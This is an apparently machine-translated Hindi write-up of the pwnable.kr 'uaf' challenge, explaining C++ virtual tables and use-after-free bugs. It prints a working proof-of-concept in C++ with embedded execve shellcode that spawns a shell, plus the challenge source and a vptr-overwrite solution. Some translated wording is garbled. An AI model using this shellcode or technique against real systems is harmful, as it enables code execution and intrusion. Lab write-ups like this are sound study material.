😴 👊 🥠 Pwnable.kr 16 के साथ एक नौकरी हल करना - uaf। मुक्त भेद्यता के बाद उपयोग करें 👩🏿‍🤝‍👨🏾 👶 🤰🏼

इस लेख में, हम इस बात पर विचार करेंगे कि UAF क्या है और साइट pwnable.kr से 16 वें कार्य को भी हल करें।

संगठनात्मक जानकारी

विशेष रूप से उन लोगों के लिए जो सूचना और कंप्यूटर सुरक्षा के किसी भी क्षेत्र में कुछ नया सीखना और विकसित करना चाहते हैं, मैं निम्नलिखित श्रेणियों के बारे में लिखूंगा और बात करूंगा:

PWN;
क्रिप्टोग्राफी (क्रिप्टो);
नेटवर्क टेक्नोलॉजीज (नेटवर्क);
रिवर्स (रिवर्स इंजीनियरिंग);
स्टेग्नोग्राफ़ी (स्टेग्नो);
WEB कमजोरियों की खोज और उनका दोहन।

इसके अलावा, मैं अपने अनुभव को कंप्यूटर फोरेंसिक, मैलवेयर और फर्मवेयर के विश्लेषण, वायरलेस नेटवर्क और स्थानीय क्षेत्र नेटवर्क पर हमले, पेंटेस्ट का संचालन करने और कारनामे लिखने में साझा करूंगा।

ताकि आप नए लेख, सॉफ्टवेयर और अन्य जानकारी के बारे में जान सकें, मैंने टेलीग्राम में एक चैनल बनाया और आईसीडी के क्षेत्र में किसी भी मुद्दे पर चर्चा करने के लिए एक समूह बनाया। साथ ही, मैं व्यक्तिगत रूप से आपके व्यक्तिगत अनुरोधों, प्रश्नों, सुझावों और सिफारिशों पर व्यक्तिगत रूप से विचार करूंगा और सभी का जवाब दूंगा ।

सभी जानकारी केवल शैक्षिक उद्देश्यों के लिए प्रदान की जाती है। इस दस्तावेज़ का लेखक इस दस्तावेज़ का अध्ययन करने के परिणामस्वरूप प्राप्त ज्ञान और विधियों का उपयोग करने के परिणामस्वरूप किसी को हुए नुकसान के लिए कोई ज़िम्मेदारी नहीं उठाता है।

विरासत और आभासी तरीके

वर्चुअल फ़ंक्शन - ऑब्जेक्ट-ओरिएंटेड प्रोग्रामिंग में, एक क्लास फ़ंक्शन जिसे उत्तराधिकारी कक्षाओं में ओवरराइड किया जा सकता है। इस प्रकार, प्रोग्रामर को वर्चुअल तरीकों के माध्यम से उसके साथ काम करने के लिए ऑब्जेक्ट के सटीक प्रकार को जानने की आवश्यकता नहीं है: यह जानने के लिए पर्याप्त है कि ऑब्जेक्ट क्लास का है या क्लास के वंशज का है जिसमें विधि घोषित की गई है।

सीधे शब्दों में कहें, कल्पना करें कि हमारे पास एक बेस क्लास एनिमल डिफाइन है जिसमें वर्चुअल फंक्शन स्रीक है। तो एनिमल क्लास में दो चाइल्ड क्लास कैट और डॉग हो सकते हैं। वर्चुअल फंक्शन कैट: स्रीक () म्याऊ का उत्पादन करेगा, और डॉग: स्रीक गव का उत्पादन करेगा। लेकिन अगर एक ही संरचना को मेमोरी में संग्रहीत किया जाता है, तो प्रोग्राम कैसे समझता है कि किस साधक को बुलाया जाना चाहिए?

सभी कार्य वर्चुअल विधियों (टीवीएम) की तालिका द्वारा प्रदान किए जाते हैं, या, जैसा कि यह व्यवहार्य द्वारा निर्धारित किया जाता है।

प्रत्येक वर्ग का अपना TVM होता है और कंपाइलर इस ऑब्जेक्ट के पहले स्थानीय चर के रूप में अपने वर्चुअल टेबल पॉइंटर (vptr - पॉइंटर टू वीटेबल) को जोड़ता है। आइए इसे देखें।

#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; }

आउटपुट को देखने के लिए संकलित करें और चलाएं।

 g++ ex.c -o ex.bin

अब आईडीए में डीबगर के नीचे चलाएं और पहले फ़ंक्शन को कॉल करने से पहले रोकें। हेक्स-व्यू विंडो पर जाएं और इसे RAX रजिस्टर के साथ सिंक्रनाइज़ करें।

चयनित खंड में, हम ANIMALS और CAT प्रकार के चर को परिभाषित करते समय चर var1 का मान देखते हैं। दोनों चर के सामने पते हैं, जैसा कि हमने कहा, ये वीएमटी (0x559f9898fd90 और 0x559f9898fd70) के संकेत हैं।

आइए देखें कि क्या होता है जब func1 कहा जाता है:

सबसे पहले, RAX में, हमें ptr पॉइंटर का उपयोग करके ऑब्जेक्ट पर एक पता होगा।
आगे RAX में ऑब्जेक्ट का पहला मान पढ़ा जाता है - VMT को पॉइंटर (इसके पहले तत्व को)।
RAX में, VMT से पहला मान पढ़ा जाता है - उसी वर्चुअल विधि के लिए एक सूचक।
RDX में, ऑब्जेक्ट के लिए एक संकेतक दर्ज किया जाता है (अधिक सामान्यतः यह)।
एक वर्चुअल मेथड कॉल किया जाता है।

जब func2 कहा जाता है, तो एक ही बात होती है, एक अपवाद के साथ, पहला रिकॉर्ड (RAX) नहीं, लेकिन दूसरा (RAX + 8) VMT से पढ़ा जाता है। यह वर्चुअल तरीकों के साथ काम करने का तंत्र है।

UAF

ढेर के लिए यह भेद्यता विशिष्ट है, क्योंकि स्टैक को एक छोटी राशि (स्थानीय चर) के डेटा को संग्रहीत करने के लिए डिज़ाइन किया गया है। ढेर, गतिशील स्मृति होने के नाते, बड़ी मात्रा में डेटा संग्रहीत करने के लिए एकदम सही है। इस मामले में, मेमोरी का आवंटन और रिलीज कार्यक्रम के निष्पादन के दौरान हो सकता है। लेकिन इस वजह से, यह निगरानी करना आवश्यक है कि कौन सी मेमोरी पर कब्जा है और कौन सा नहीं है। ऐसा करने के लिए, आपको आवंटित मेमोरी ब्लॉक के लिए सर्विस हेडर चाहिए। इसमें ब्लॉक के पहले तत्व के लिए स्टार्ट एड्रेस और एक पॉइंटर होता है। और ढेर के विपरीत, ढेर के नीचे, बढ़ता है।

भेद्यता का सार यह है कि स्मृति को मुक्त करने के बाद, कार्यक्रम इस क्षेत्र को संदर्भित कर सकता है। तो हैंगिंग पॉइंट हैं। प्रोग्राम कोड बदलें और इसे सत्यापित करें।

 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; }

आइए जानें कि प्रोग्राम कहां क्रैश होता है। पिछले उदाहरण के अनुरूप, मैं फ़ंक्शन को कॉल करने से पहले रोक देता हूं और हेक्स-व्यू को RAX के साथ सिंक करता हूं। हम देखते हैं कि हमारी वस्तु किस पर स्थित होनी चाहिए। लेकिन निम्नलिखित निर्देश को निष्पादित करते समय, 0 RAX रजिस्टर में रहता है। और पहले से ही 0 को टालने की कोशिश कर रहा है, प्रोग्राम क्रैश हो जाता है।

इस प्रकार, यूएएफ के शोषण के लिए, शेलकोड को कार्यक्रम में स्थानांतरित करना आवश्यक है, और फिर हैंगिंग पॉइंटर (वीएमटी में) के माध्यम से इसकी शुरुआत में जाएं। यह इस तथ्य के कारण संभव है कि ढेर, जब अनुरोध किया जाता है, तो स्मृति का एक ब्लॉक आवंटित किया जाता है जो पहले मुक्त हो गया था, और इस तरह हम वीएमटी का अनुकरण कर सकते हैं, जो शेलकोड को इंगित करेगा। दूसरे शब्दों में, जहां VMT फ़ंक्शन का पता पहले स्थित था, अब शेलकोड पता स्थित होगा। लेकिन हम इस बात की गारंटी नहीं दे सकते हैं कि एकमात्र चयनित ऑब्जेक्ट के लिए मेमोरी सिर्फ क्लीयर किए गए ज़ोन के साथ मेल खाएगी, इसलिए हम एक लूप में कई ऐसी वस्तुएँ बनाएंगे।

आइए एक उदाहरण देखें। सबसे पहले, शेलकोड लें, उदाहरण के लिए, यहां से ।

 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

और हमारे कोड के पूरक:

 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; }

संकलन और चलाने के बाद, हमें एक पूर्ण शेल मिलता है।

उफ नौकरी समाधान

हम यूएफ़-हस्ताक्षरित आइकन पर क्लिक करते हैं और हमें बताया जाता है कि हमें पासवर्ड अतिथि के साथ एसएसएच के माध्यम से कनेक्ट करने की आवश्यकता है।

कनेक्ट होने पर, हम संबंधित बैनर देखते हैं।

आइए जानें कि सर्वर पर कौन सी फाइलें हैं, साथ ही हमारे पास क्या अधिकार हैं।

स्रोत कोड देखते हैं

 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; }

कार्यक्रम की शुरुआत में, हमारे पास मानव वर्ग से विरासत में प्राप्त वर्गों की दो वस्तुएं हैं। जिसका एक फंक्शन है जो हमें एक शेल देता है।

इसके बाद, हम तीन कार्यों में से एक को शुरू करने के लिए आमंत्रित हैं:

प्रदर्शन वस्तु जानकारी;
प्रोग्राम पैरामीटर के रूप में स्वीकार किए गए डेटा का एक गुच्छा लिखने के लिए;
बनाई गई वस्तु को हटाएं।

चूंकि इस कार्य में UAF भेद्यता पर विचार किया जाता है, इसलिए योजना निम्नानुसार होनी चाहिए: बनाना - हटाना - ढेर पर लिखना - जानकारी प्राप्त करना।

एकमात्र कदम जिस पर हमारा पूरा नियंत्रण है, वह ढेर को लिख रहा है। लेकिन रिकॉर्डिंग करने से पहले, हमें यह जानने की जरूरत है कि वीएमटी इन वस्तुओं के लिए कैसा दिखता है और फ़ंक्शन का पता जो हमें शेल देता है। एक उदाहरण का उपयोग करते हुए, हमने समझा कि वीएमटी कैसे काम करता है, पते के संकेत एक के बाद एक संग्रहीत किए जाते हैं, अर्थात्।
func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) आदि।

चूंकि VMT में पहला फ़ंक्शन give_shell () होगा, और जब फ़ंक्शन मैन :: परिचय () कहा जाता है, तो VMT का दूसरा पता पता दर्ज होगा। 64-बिट सिस्टम को देखते हुए: * परिचय = * give_shell + 8. हम इसकी पुष्टि करेंगे:

लाइन मेन + 272 हमारी धारणा को साबित करता है, क्योंकि आधार के सापेक्ष पता 8 से बढ़ जाता है।

एक ब्रेकपॉइंट सेट करें और आधार पते को निर्धारित करने के लिए EAX की सामग्री को देखें।

हमें आधार पता मिला: 0x0000000000401570 इस प्रकार, शेल के बजाय, हमें 8 में कमी करके, एड्रेस__शेल () को लिखना होगा, ताकि इसे वीएमटी बेस के रूप में लिया जाए, जबकि 8 से बढ़ते हुए, प्रोग्राम ने हमें एक शेल दिया।

एक पैरामीटर के रूप में प्रोग्राम बाइट्स की संख्या जिसे वह फ़ाइल से पढ़ता है, और फ़ाइल का नाम। डेटा को अधिलेखित करने के लिए यह थोड़ा रहता है, आपको एक मुक्त ब्लॉक के आकार को एक मेमोरी ब्लॉक आवंटित करने की आवश्यकता है। उस ब्लॉक का आकार ज्ञात करें जो एक वस्तु पर कब्जा करता है।

इस प्रकार, ऑब्जेक्ट बनाने से पहले 0x18 = 24 बाइट आरक्षित हैं। यही है, हमें 24 बाइट्स वाली एक फ़ाइल की रचना करने की आवश्यकता है।

चूंकि कार्यक्रम दो वस्तुओं को मुक्त करता है, इसलिए हमें दो बार डेटा लिखना होगा।

हमें शेल मिलता है, झंडा पढ़ें, हमें 8 अंक मिलते हैं।

आप टेलीग्राम पर हमसे जुड़ सकते हैं। अगली बार हम एलाइन मेमोरी से निपटेंगे।

Pwnable.kr 16 के साथ एक नौकरी हल करना - uaf। मुक्त भेद्यता के बाद उपयोग करें

विरासत और आभासी तरीके

UAF

उफ नौकरी समाधान

More articles: